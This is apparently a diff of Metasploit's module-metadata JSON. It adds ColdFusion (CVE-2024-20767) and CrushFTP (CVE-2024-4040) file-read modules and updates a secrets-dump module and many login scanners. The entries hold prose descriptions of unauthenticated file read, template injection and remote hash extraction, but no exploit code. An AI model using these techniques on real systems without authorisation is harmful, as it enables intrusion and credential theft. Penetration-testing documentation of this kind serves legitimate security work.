"description": "This module exploits an Improper Access Vulnerability in Adobe Coldfusion versions prior to version\n '2023 Update 6' and '2021 Update 12'. The vulnerability allows unauthenticated attackers to request authentication\n token in the form of a UUID from the /CFIDE/adminapi/_servermanager/servermanager.cfc endpoint. Using that\n UUID attackers can hit the /pms endpoint in order to exploit the Arbitrary File Read Vulnerability.",
|
||||
"references": [
|
||||
"CVE-2024-20767",
|
||||
"URL-https://helpx.adobe.com/security/products/coldfusion/apsb24-14.html",
|
||||
"URL-https://jeva.cc/2973.html"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 8500,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-05-02 09:47:22 +0000",
|
||||
"path": "/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/coldfusion_pms_servlet_file_read",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
|
||||
]
|
||||
},
|
||||
"auxiliary_gather/coldfusion_pwd_props": {
|
||||
"name": "ColdFusion 'password.properties' Hash Extraction",
|
||||
"fullname": "auxiliary/gather/coldfusion_pwd_props",
|
||||
@@ -20770,6 +20905,66 @@
|
||||
|
||||
]
|
||||
},
|
||||
"auxiliary_gather/crushftp_fileread_cve_2024_4040": {
|
||||
"name": "CrushFTP Unauthenticated Arbitrary File Read",
|
||||
"fullname": "auxiliary/gather/crushftp_fileread_cve_2024_4040",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"remmons-r7"
|
||||
],
|
||||
"description": "This module leverages an unauthenticated server-side template injection vulnerability in CrushFTP < 10.7.1 and\n < 11.1.0 (as well as legacy 9.x versions). Attackers can submit template injection payloads to the web API without\n authentication. When attacker payloads are reflected in the server's responses, the payloads are evaluated. The\n primary impact of the injection is arbitrary file read as root, which can result in authentication bypass, remote\n code execution, and NetNTLMv2 theft (when the host OS is Windows and SMB egress traffic is permitted).",
|
||||
"references": [
|
||||
"CVE-2024-4040",
|
||||
"URL-https://attackerkb.com/topics/20oYjlmfXa/cve-2024-4040/rapid7-analysis"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 8080,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-05-03 12:01:48 +0000",
|
||||
"path": "/modules/auxiliary/gather/crushftp_fileread_cve_2024_4040.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/crushftp_fileread_cve_2024_4040",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
|
||||
]
|
||||
},
|
||||
"auxiliary_gather/cve_2021_27850_apache_tapestry_hmac_key": {
|
||||
"name": "Apache Tapestry HMAC secret key leak",
|
||||
"fullname": "auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key",
|
||||
@@ -23153,7 +23348,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-04-19 15:49:36 +0000",
|
||||
"mod_time": "2024-05-02 13:57:13 +0000",
|
||||
"path": "/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/ldap_esc_vulnerable_cert_finder",
|
||||
@@ -23175,7 +23370,9 @@
|
||||
"Certipy"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"session_types": [
|
||||
"ldap"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
|
||||
@@ -23208,7 +23405,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-01-07 15:02:53 +0000",
|
||||
"mod_time": "2024-05-02 13:57:13 +0000",
|
||||
"path": "/modules/auxiliary/gather/ldap_hashdump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/ldap_hashdump",
|
||||
@@ -23226,7 +23423,9 @@
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"session_types": [
|
||||
"ldap"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
{
|
||||
@@ -23261,7 +23460,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-04-10 22:44:23 +0000",
|
||||
"mod_time": "2024-05-02 13:57:13 +0000",
|
||||
"path": "/modules/auxiliary/gather/ldap_query.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/ldap_query",
|
||||
@@ -23279,7 +23478,9 @@
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"session_types": [
|
||||
"ldap"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
{
|
||||
@@ -26276,7 +26477,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-04-12 13:09:34 +0000",
|
||||
"mod_time": "2024-05-02 13:57:13 +0000",
|
||||
"path": "/modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/vmware_vcenter_vmdir_ldap",
|
||||
@@ -26294,7 +26495,9 @@
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"session_types": [
|
||||
"ldap"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
{
|
||||
@@ -26358,9 +26561,10 @@
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Alberto Solino",
|
||||
"Christophe De La Fuente"
|
||||
"Christophe De La Fuente",
|
||||
"antuache"
|
||||
],
|
||||
"description": "Dumps SAM hashes and LSA secrets (including cached creds) from the\n remote Windows target without executing any agent locally. First, it\n reads as much data as possible from the registry and then save the\n hives locally on the target (%SYSTEMROOT%\\Temp\\random.tmp). Finally, it\n downloads the temporary hive files and reads the rest of the data\n from it. This temporary files are removed when it's done.\n\n On domain controllers, secrets from Active Directory is extracted\n using [MS-DRDS] DRSGetNCChanges(), replicating the attributes we need\n to get SIDs, NTLM hashes, groups, password history, Kerberos keys and\n other interesting data. Note that the actual `NTDS.dit` file is not\n downloaded. Instead, the Directory Replication Service directly asks\n Active Directory through RPC requests.\n\n This modules takes care of starting or enabling the Remote Registry\n service if needed. It will restore the service to its original state\n when it's done.\n\n This is a port of the great Impacket `secretsdump.py` code written by\n Alberto Solino.",
|
||||
"description": "Dumps SAM hashes and LSA secrets (including cached creds) from the\n remote Windows target without executing any agent locally. This is\n done by remotely updating the registry key security descriptor,\n taking advantage of the WriteDACL privileges held by local\n administrators to set temporary read permissions.\n\n This can be disabled by setting the `INLINE` option to false and the\n module will fallback to the original implementation, which consists\n in saving the registry hives locally on the target\n (%SYSTEMROOT%\\Temp\\<random>.tmp), downloading the temporary hive\n files and reading the data from it. This temporary files are removed\n when it's done.\n\n On domain controllers, secrets from Active Directory is extracted\n using [MS-DRDS] DRSGetNCChanges(), replicating the attributes we need\n to get SIDs, NTLM hashes, groups, password history, Kerberos keys and\n other interesting data. Note that the actual `NTDS.dit` file is not\n downloaded. Instead, the Directory Replication Service directly asks\n Active Directory through RPC requests.\n\n This modules takes care of starting or enabling the Remote Registry\n service if needed. It will restore the service to its original state\n when it's done.\n\n This is a port of the great Impacket `secretsdump.py` code written by\n Alberto Solino.",
|
||||
"references": [
|
||||
"URL-https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py"
|
||||
],
|
||||
@@ -26376,7 +26580,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-03-06 14:20:34 +0000",
|
||||
"mod_time": "2024-04-30 20:52:23 +0000",
|
||||
"path": "/modules/auxiliary/gather/windows_secrets_dump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/windows_secrets_dump",
|
||||
@@ -27094,7 +27298,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-31 16:50:37 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/acpp/login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/acpp/login",
|
||||
@@ -27136,7 +27340,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-01-07 15:02:53 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/afp/afp_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/afp/afp_login",
|
||||
@@ -27499,7 +27703,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-31 17:10:07 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/db2/db2_auth.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/db2/db2_auth",
|
||||
@@ -28777,7 +28981,7 @@
|
||||
"ftp"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-04-18 23:44:58 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ftp/ftp_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ftp/ftp_login",
|
||||
@@ -29288,7 +29492,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-31 17:10:07 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/advantech_webaccess_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/advantech_webaccess_login",
|
||||
@@ -29932,7 +30136,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-31 15:37:48 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/appletv_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/appletv_login",
|
||||
@@ -30092,7 +30296,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-31 17:10:07 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/axis_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/axis_login",
|
||||
@@ -30144,7 +30348,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-10-05 13:19:36 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/azure_ad_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/azure_ad_login",
|
||||
@@ -30296,7 +30500,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-31 17:10:07 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/bavision_cam_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/bavision_cam_login",
|
||||
@@ -30604,7 +30808,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-31 17:10:07 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/buffalo_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/buffalo_login",
|
||||
@@ -30708,7 +30912,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/caidao_bruteforce_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/caidao_bruteforce_login",
|
||||
@@ -30965,7 +31169,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-09-02 11:41:27 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/chef_webui_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/chef_webui_login",
|
||||
@@ -31391,7 +31595,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-31 17:10:07 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/cisco_firepower_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/cisco_firepower_login",
|
||||
@@ -32437,7 +32641,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-31 17:10:07 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/directadmin_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/directadmin_login",
|
||||
@@ -34502,7 +34706,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/gitlab_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/gitlab_login",
|
||||
@@ -34654,7 +34858,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-09-02 11:41:27 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/glassfish_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/glassfish_login",
|
||||
@@ -35410,7 +35614,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-09-02 11:41:27 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/hp_sys_mgmt_login",
|
||||
@@ -35564,7 +35768,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-01-07 15:02:53 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/http_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/http_login",
|
||||
@@ -36265,7 +36469,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-31 17:10:07 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/ipboard_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/ipboard_login",
|
||||
@@ -36529,7 +36733,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-06-12 14:08:03 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/jenkins_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/jenkins_login",
|
||||
@@ -37005,7 +37209,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-31 15:37:48 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/jupyter_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/jupyter_login",
|
||||
@@ -37504,7 +37708,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-11-07 12:23:59 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/manageengine_desktop_central_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/manageengine_desktop_central_login",
|
||||
@@ -38029,7 +38233,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-31 16:50:37 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/mybook_live_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/mybook_live_login",
|
||||
@@ -38499,7 +38703,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-31 17:10:07 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/octopusdeploy_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/octopusdeploy_login",
|
||||
@@ -39071,7 +39275,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-31 17:10:07 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/phpmyadmin_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/phpmyadmin_login",
|
||||
@@ -40623,7 +40827,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-02-28 15:40:03 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/softing_sis_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/softing_sis_login",
|
||||
@@ -41324,7 +41528,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-31 17:10:07 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/symantec_web_gateway_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/symantec_web_gateway_login",
|
||||
@@ -41374,7 +41578,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-09-16 13:34:06 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/syncovery_linux_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/syncovery_linux_login",
|
||||
@@ -41434,7 +41638,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-12-14 08:59:53 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/syncovery_linux_token_cve_2022_36536.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/syncovery_linux_token_cve_2022_36536",
|
||||
@@ -41787,7 +41991,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-11-27 15:35:34 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/tomcat_mgr_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/tomcat_mgr_login",
|
||||
@@ -42978,7 +43182,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-01-07 15:02:53 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/wordpress_multicall_creds",
|
||||
@@ -43137,7 +43341,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-31 17:10:07 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/wordpress_xmlrpc_login",
|
||||
@@ -44796,7 +45000,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-09-02 11:41:27 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/zabbix_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/zabbix_login",
|
||||
@@ -45401,7 +45605,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-04-11 17:56:24 +0000",
|
||||
"mod_time": "2024-05-13 13:54:14 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ldap/ldap_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ldap/ldap_login",
|
||||
@@ -46087,7 +46291,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-07-01 12:22:31 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/misc/freeswitch_event_socket_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/misc/freeswitch_event_socket_login",
|
||||
@@ -46819,7 +47023,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-31 17:10:07 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/mqtt/connect.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/mqtt/connect",
|
||||
@@ -47158,7 +47362,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-04-04 08:34:51 +0000",
|
||||
"mod_time": "2024-03-05 13:27:00 +0000",
|
||||
"path": "/modules/auxiliary/scanner/mssql/mssql_hashdump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/mssql/mssql_hashdump",
|
||||
@@ -47209,7 +47413,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-04-18 15:15:36 +0000",
|
||||
"mod_time": "2024-05-13 13:54:14 +0000",
|
||||
"path": "/modules/auxiliary/scanner/mssql/mssql_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/mssql/mssql_login",
|
||||
@@ -47236,7 +47440,7 @@
|
||||
"author": [
|
||||
"MC <mc@metasploit.com>"
|
||||
],
|
||||
"description": "This module simply queries the MSSQL instance for information.",
|
||||
"description": "This module simply queries the MSSQL Browser service for server information.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -47258,7 +47462,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2019-03-05 03:38:51 +0000",
|
||||
"mod_time": "2024-03-04 11:44:04 +0000",
|
||||
"path": "/modules/auxiliary/scanner/mssql/mssql_ping.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/mssql/mssql_ping",
|
||||
@@ -47307,7 +47511,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-04-04 08:34:51 +0000",
|
||||
"mod_time": "2024-03-05 13:27:00 +0000",
|
||||
"path": "/modules/auxiliary/scanner/mssql/mssql_schemadump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/mssql/mssql_schemadump",
|
||||
@@ -47324,6 +47528,57 @@
|
||||
|
||||
]
|
||||
},
|
||||
"auxiliary_scanner/mssql/mssql_version": {
|
||||
"name": "MSSQL Version Utility",
|
||||
"fullname": "auxiliary/scanner/mssql/mssql_version",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Zach Goldman"
|
||||
],
|
||||
"description": "Executes a TDS7 pre-login request against the MSSQL instance to query for version information.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 1433,
|
||||
"autofilter_ports": [
|
||||
1433,
|
||||
1434,
|
||||
1435,
|
||||
14330,
|
||||
2533,
|
||||
9152,
|
||||
2638
|
||||
],
|
||||
"autofilter_services": [
|
||||
"ms-sql-s",
|
||||
"ms-sql2000",
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-04-22 14:46:50 +0000",
|
||||
"path": "/modules/auxiliary/scanner/mssql/mssql_version.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/mssql/mssql_version",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"mssql"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
|
||||
]
|
||||
},
|
||||
"auxiliary_scanner/mysql/mysql_authbypass_hashdump": {
|
||||
"name": "MySQL Authentication Bypass Password Dump",
|
||||
"fullname": "auxiliary/scanner/mysql/mysql_authbypass_hashdump",
|
||||
@@ -47481,7 +47736,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-04-10 12:24:08 +0000",
|
||||
"mod_time": "2024-05-13 13:54:14 +0000",
|
||||
"path": "/modules/auxiliary/scanner/mysql/mysql_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/mysql/mysql_login",
|
||||
@@ -47742,7 +47997,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-05-11 13:01:46 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/nessus/nessus_rest_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/nessus/nessus_rest_login",
|
||||
@@ -49218,7 +49473,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/pop3/pop3_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/pop3/pop3_login",
|
||||
@@ -49637,7 +49892,7 @@
|
||||
"postgres"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-04-12 11:43:30 +0000",
|
||||
"mod_time": "2024-05-13 13:54:14 +0000",
|
||||
"path": "/modules/auxiliary/scanner/postgres/postgres_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/postgres/postgres_login",
|
||||
@@ -50435,7 +50690,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/redis/redis_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/redis/redis_login",
|
||||
@@ -50769,7 +51024,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-31 17:10:07 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/sage/x3_adxsrv_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/sage/x3_adxsrv_login",
|
||||
@@ -53923,13 +54178,13 @@
|
||||
"author": [
|
||||
"hdm <x@hdm.io>"
|
||||
],
|
||||
"description": "Determine what local users exist via the SAM RPC service",
|
||||
"description": "Determine what users exist via the SAM RPC service",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"rport": 445,
|
||||
"autofilter_ports": [
|
||||
139,
|
||||
445
|
||||
@@ -53939,7 +54194,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-02 14:26:43 +0000",
|
||||
"mod_time": "2024-05-07 10:54:35 +0000",
|
||||
"path": "/modules/auxiliary/scanner/smb/smb_enumusers.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/smb/smb_enumusers",
|
||||
@@ -54033,7 +54288,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-04-09 15:24:02 +0000",
|
||||
"mod_time": "2024-05-13 13:54:14 +0000",
|
||||
"path": "/modules/auxiliary/scanner/smb/smb_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/smb/smb_login",
|
||||
@@ -54236,7 +54491,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
